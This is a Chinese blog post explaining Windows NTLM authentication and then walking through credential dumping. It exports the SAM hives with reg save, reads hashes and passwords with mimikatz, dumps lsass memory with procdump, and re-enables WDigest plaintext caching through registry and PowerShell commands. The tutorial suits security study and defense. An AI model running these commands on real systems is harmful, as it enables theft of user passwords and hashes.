Loading

windows认证与密码抓取

	Windows中的NTLM Hash认证分为两种,一种是本地认证,一种是网络认证。本地认证的话是通过用户输入的账号密码然后与WIndows中的SAM数据库里的值进行比对。网络认证则是基于挑战/响应的认证方式。

SAM数据库虽然存储在计算机本地,但是用户也不能直接查看明文密码,里面存储的都是NTLM Hash值。操作系统启动之后,SAM 文件将被锁定。这意味着操作系统运行之时,用户无法打开或复制 SAM 文件。除了锁定,整个 SAM 文件加密,且不可见。

%SystemRoot%\system32\config\sam

域内用户的密码 Hash 是存在于域控的 NTDS.DIT 文件里。

NTLM Hash的生成

​ 用户注销、登录、重启之后需要输入账号密码,操作系统会让winlogon显示登录页面,用户输入账号密码之后,winlogon.exe将密码交给lsass进程处理,lsass.exe会保存一份明文密码,将明文密码加密成NTLM Hash值,然后与SAM数据库中的对比。

​ 注:winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出。LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。

本地认证的流程

image-20211206101130260

网络认证的流程

在工作组中,都需要一可以信任的机构,对双方进行认证,这样就有一个可信的第三方来证实双方的可信任性。

NTLM协议

NTLM是一种网络认账协议,基于挑战/响应认证机制,这个协议只支持Windows,

NTLM协议的认证共需要三个消息完成:协商 ---> 挑战 ---> 认证。

1、用户向服务器发起请求
2、服务端生成16位随机数作为Challenge,并使用客户端使用的用户名的NTLM Hash生成Challenge-1,将Challenge发送给客户端
3、客户端收到Challenge之后,客户端使用登录名的NTLM Hash加密Challenge生成Response,然后将Response发送给服务器端。若对比通过,则登录成功

注:1、经过NTLM Hash加密的结果在网络中称为 Net NTLM Hash。

NTLM v1和v2的区别

v1和v2最显著的区别就是Challenge和加密算法不同,相同点加密原料都是NTLM Hash。v1用的Challenge是8位,v2用的Challenge是16位的。v1用的加密算法是DES,v2用的加密算法是HMAC-MD5。

注册表导出SAM+Mimikatz读取hash

shell reg save hklm\sam sam.hive
shell reg save hklm\system system.hive
shell reg save hklm\security security.hive

image-20211206143325611

lsadump::sam /system:system.hive /sam:sam.hive

image-20211206143900338

mimikatz在线读取sam

privilege::debug
token::elevate
lsadump::sam
shell mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

image-20211206144541340

除了从sam文件中读,我们也可以从lsass进程中提取相关信息,mimikatz提供了sekurlsa模块,此模块可以去进程中提取密码、票据等。示例:

privilege::debug
log sekurlsa.log
sekurlsa::logonpasswords
shell mimikatz.exe "privilege::debug" "log sekurlsa.log" "sekurlsa::logonpasswords" "exit"

image-20211206144854866

Mimikatz+Procdump导出lsass.dmp

shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image-20211206150257144

 sekurlsa::minidump lsass.dmp
 sekurlsa::logonPasswords full

image-20211206150649752

密码抓取防范

​ 如果密码足够复杂,那么hash是不容易破解的。在windows server2012以上版本默认关闭了wdigest(windows下的一个安全协议),关闭后是不能从lsass中获取明文密码的,这时的lsass是不会缓存明文密码的。而2012以下的版本如果打了KB2871997,则lsass也不会存明文密码。通过上面的一些mimikatz结果可以看到wdigest下的password为null。所以防范时一个保证密码复杂度,另一个就是确保wdigest的关闭。

​ 我们可以通过修改注册表来绕过这个,需要用户重新登录后才能成功抓取。修改注册表的命令,1为打开0为关闭,打开后当前账号需要注销或者从新登录,这时lsass才会去存明文密码,

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

或者用powershell

powershell -c "set-itemproperty -path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1"

powershell -c "set-itemproperty -path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0"
posted @ 2021-12-30 13:27  Hel10  阅读(690)  评论(0编辑  收藏  举报